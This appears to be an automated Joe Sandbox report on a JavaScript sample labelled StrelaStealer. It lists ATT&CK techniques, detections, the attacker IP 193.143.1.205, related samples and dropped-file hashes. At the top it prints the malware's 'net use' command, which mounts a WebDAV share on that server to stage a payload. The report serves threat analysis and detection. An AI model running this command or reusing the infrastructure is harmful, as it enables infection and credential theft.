Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
71621480653828912.js	11%	Virustotal		Browse
71621480653828912.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/y	net.exe, 00000007.00000002.1478342831.000001AFEF663000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2713232022.000002960A88F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1476521664.000002960A6E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1478342831.000001AFEF628000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1478342831.000001AFEF628000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478342831.000001AFEF663000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1478342831.000001AFEF67F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/b	net.exe, 00000007.00000002.1478342831.000001AFEF628000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/-	net.exe, 00000007.00000002.1478342831.000001AFEF663000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589004
Start date and time:	2025-01-11 08:16:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	71621480653828912.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 34.237.241.83, 50.16.47.176, 54.224.241.105, 18.213.11.84, 172.64.41.3, 162.159.61.3, 184.28.90.27, 199.232.210.172, 23.209.209.135, 2.16.168.105, 2.16.168.107, 4.245.163.56, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:17:36	API Interceptor	23x Sleep call for process: powershell.exe modified
02:17:40	API Interceptor	1x Sleep call for process: net.exe modified
02:17:40	API Interceptor	2x Sleep call for process: svchost.exe modified
02:17:53	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	199.232.214.172
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11411287862891124151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3644547571625413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	894623912226711207.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021977407556988
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAK:RJE+Lfki1GjHwU/+vVhWqpT
MD5:	5B89CA6653F041A9B7A80522925A8B98
SHA1:	C10214314B61358F2EBC3829ABC490E84263F400
SHA-256:	8F60DA539DA56ADB50E49493DFC4A16D98F79A75F6572BDDEAB6FC487D1F4D44
SHA-512:	A09589A1B860155A63FA08345B3297A82F5D6CA4460FF09FC6D49ABA5746C42BFE20F14DB40CF850AF1FCF028CC794FC0B5A75071C118BAF0295C6B363D4507C
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4f08c673, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433131699344238
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:DazaHvxXy2V2UR
MD5:	5FD0DE38BE580CDA397B7590287510E6
SHA1:	7ED603CEF4E919E4791C73C1E83566B909439C6E
SHA-256:	B10453AF5C55867B6EF0EBA9311829F4E7C8088C03F99BF0398A5D4FA37D66C4
SHA-512:	C51DB266A2464D1FB62F7DBCF0841E3C72EFB5106FCCE9A760B04054509F6497D2129523D7E2928450AF12F182249D5D9228D6C107F74B1C0C7987F9EE40C159
Malicious:	false
Preview:	O..s... ...............X\...;...{......................0.x...... ...{s.(....}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{......................................(....}..................b...(....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08164101166231096
Encrypted:	false
SSDEEP:	3:gNKYe6KAFvsl/nqlFcl1ZUllllB0/kltallGBnX/l/Tj/k7/t:gNKz1Msl/qlFclQ/lw/h254
MD5:	51F473D10D5559171D89D20448ECDDF4
SHA1:	982504C6E77F0C2B34B7A858AC195B439F23CDCF
SHA-256:	FB837045931B8F9A61A444598849D937823E6766B3381A8ED012BA7FAE86417A
SHA-512:	18CB751B381D4C5D5A8DC23044D6B16754E8743A143EE8012130C2220691D4AD56E4DD2933B6AF7DA8571B8515CD7B52A46D176F026CE857F6A108034F8282E5
Malicious:	false
Preview:	.tg.....................................;...{..(....}... ...{s.......... ...{s.. ...{s.P.... ...{s.................b...(....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.169854181288498
Encrypted:	false
SSDEEP:	6:iOefRYq2PCHhJ2nKuAl9OmbnIFUt8fRmZZmwCfRmzkwOCHhJ2nKuAl9OmbjLJ:70YvBHAahFUt+mZ/gmz56HAaSJ
MD5:	D81FF5B8667CD9BCE49DF33FC403CB9B
SHA1:	E89893EDAD4EAA692C856AB26D7B4C9BE7AF0CB7
SHA-256:	C9830A31FF12C624A7D1425A5968404F6A4677594E099B2E3AE21080928286B3
SHA-512:	01F68D5BCE1C5D77F093083E074E97F7457C701AA907DAE8EE703E1DC380EB07BB0664E1FAD7028D83F471F79B3281ECF8869E3F7AD38D8D8EBEFC5A65A9613D
Malicious:	false
Preview:	2025/01/11-02:17:40.179 17a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:17:40.181 17a4 Recovering log #3.2025/01/11-02:17:40.181 17a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.169854181288498
Encrypted:	false
SSDEEP:	6:iOefRYq2PCHhJ2nKuAl9OmbnIFUt8fRmZZmwCfRmzkwOCHhJ2nKuAl9OmbjLJ:70YvBHAahFUt+mZ/gmz56HAaSJ
MD5:	D81FF5B8667CD9BCE49DF33FC403CB9B
SHA1:	E89893EDAD4EAA692C856AB26D7B4C9BE7AF0CB7
SHA-256:	C9830A31FF12C624A7D1425A5968404F6A4677594E099B2E3AE21080928286B3
SHA-512:	01F68D5BCE1C5D77F093083E074E97F7457C701AA907DAE8EE703E1DC380EB07BB0664E1FAD7028D83F471F79B3281ECF8869E3F7AD38D8D8EBEFC5A65A9613D
Malicious:	false
Preview:	2025/01/11-02:17:40.179 17a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:17:40.181 17a4 Recovering log #3.2025/01/11-02:17:40.181 17a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.169513489202685
Encrypted:	false
SSDEEP:	6:iOefRBWI+q2PCHhJ2nKuAl9Ombzo2jMGIFUt8fRBiZmwCfRBxVkwOCHhJ2nKuAlx:70BSvBHAa8uFUt+Bi/gBf56HAa8RJ
MD5:	5FE04A40F0AF82B8090E450E6E766623
SHA1:	F59238F431AF980691A8E01B353E88D044C8C0F5
SHA-256:	B4C2C4CF370986AACE55B0237762332EDC9C507D44A21EDC1BFA5D411A5CED53
SHA-512:	F88D05F5D6AF7989B237A87A7BD3FE92D2257810D0205C68020D4C6258C9B74B5892825B963C7530B089648CEA466CA59BFADB06D8A0BC925CF38446EA19AEEC
Malicious:	false
Preview:	2025/01/11-02:17:40.239 808 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:17:40.241 808 Recovering log #3.2025/01/11-02:17:40.242 808 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.169513489202685
Encrypted:	false
SSDEEP:	6:iOefRBWI+q2PCHhJ2nKuAl9Ombzo2jMGIFUt8fRBiZmwCfRBxVkwOCHhJ2nKuAlx:70BSvBHAa8uFUt+Bi/gBf56HAa8RJ
MD5:	5FE04A40F0AF82B8090E450E6E766623
SHA1:	F59238F431AF980691A8E01B353E88D044C8C0F5
SHA-256:	B4C2C4CF370986AACE55B0237762332EDC9C507D44A21EDC1BFA5D411A5CED53
SHA-512:	F88D05F5D6AF7989B237A87A7BD3FE92D2257810D0205C68020D4C6258C9B74B5892825B963C7530B089648CEA466CA59BFADB06D8A0BC925CF38446EA19AEEC
Malicious:	false
Preview:	2025/01/11-02:17:40.239 808 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:17:40.241 808 Recovering log #3.2025/01/11-02:17:40.242 808 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.954562035843771
Encrypted:	false
SSDEEP:	12:YH/um3RA8sql4HksBdOg2HGcaq3QYiub6P7E4T3y:Y2sRdsRpdMH53QYhbS7nby
MD5:	0AFDD18BE250123EE71D8B9BFFF43F8C
SHA1:	6EBCFA44C043DDF0580721BCB0DEFCEFD46CDC0A
SHA-256:	0034291297705759CE6FF2ED7D58F241B29B77369B1048E98F1AC33608413606
SHA-512:	CEE184D0DF4D3AD3615A7B918590A85A5D2F15700739FC86F06F96EE5D37E9090B62758E40D3E09639E6DA6B895E3660F701413D6123FEFF8FFCA62A1BD5C084
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381139872782378","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125787},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c2ff203c-fdf0-4b76-851c-179993ce9d02.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.954562035843771
Encrypted:	false
SSDEEP:	12:YH/um3RA8sql4HksBdOg2HGcaq3QYiub6P7E4T3y:Y2sRdsRpdMH53QYhbS7nby
MD5:	0AFDD18BE250123EE71D8B9BFFF43F8C
SHA1:	6EBCFA44C043DDF0580721BCB0DEFCEFD46CDC0A
SHA-256:	0034291297705759CE6FF2ED7D58F241B29B77369B1048E98F1AC33608413606
SHA-512:	CEE184D0DF4D3AD3615A7B918590A85A5D2F15700739FC86F06F96EE5D37E9090B62758E40D3E09639E6DA6B895E3660F701413D6123FEFF8FFCA62A1BD5C084
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381139872782378","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125787},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.232848337609755
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bHSYGAUvSi:S43C4mS7fFi0KFYDjr3LWO3V3aw+bHSP
MD5:	93E5B4CD32DB789F14D0BB1427A0E55D
SHA1:	954BE6CD182C57D33D2EDFEAA04C8122C6BEE3AA
SHA-256:	3163528E896408D4772EB0B52FE236F8D49123384E0161BA6D356108C3522ABB
SHA-512:	033506DD5148DC6A9FC9662D50E5F5E7DBD82AF019D65F3F3D1074FC51063457CE8CD08C4EBB30B4860E538514E0E45E17FC7796565DA1116B12791C876BC2C6
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.203888190442614
Encrypted:	false
SSDEEP:	6:iOefRHccd33+q2PCHhJ2nKuAl9OmbzNMxIFUt8fRHcCX5ZmwCfRHcQXNVkwOCHhc:70VOvBHAa8jFUt+lX5/gP56HAa84J
MD5:	4D8E46F2B71CE91BBCBB798C5916E353
SHA1:	47001B4E36B1ADF5B704FA40D18DB016F6EBCFEA
SHA-256:	41C15917AD84432A8F82FF800B00058971FBB5260E591AF50814A5DE5062170F
SHA-512:	6C5DF0AD6DD02D77DEF2B1EF881B2907FDBCFCD3943A23A99D3241F5024F907315BE4BE8A127F4507DFF1A07A85050DB8B97C3AB5E4D8764B2A533516BC994B4
Malicious:	false
Preview:	2025/01/11-02:17:40.491 808 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:17:40.493 808 Recovering log #3.2025/01/11-02:17:40.495 808 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.203888190442614
Encrypted:	false
SSDEEP:	6:iOefRHccd33+q2PCHhJ2nKuAl9OmbzNMxIFUt8fRHcCX5ZmwCfRHcQXNVkwOCHhc:70VOvBHAa8jFUt+lX5/gP56HAa84J
MD5:	4D8E46F2B71CE91BBCBB798C5916E353
SHA1:	47001B4E36B1ADF5B704FA40D18DB016F6EBCFEA
SHA-256:	41C15917AD84432A8F82FF800B00058971FBB5260E591AF50814A5DE5062170F
SHA-512:	6C5DF0AD6DD02D77DEF2B1EF881B2907FDBCFCD3943A23A99D3241F5024F907315BE4BE8A127F4507DFF1A07A85050DB8B97C3AB5E4D8764B2A533516BC994B4
Malicious:	false
Preview:	2025/01/11-02:17:40.491 808 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:17:40.493 808 Recovering log #3.2025/01/11-02:17:40.495 808 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
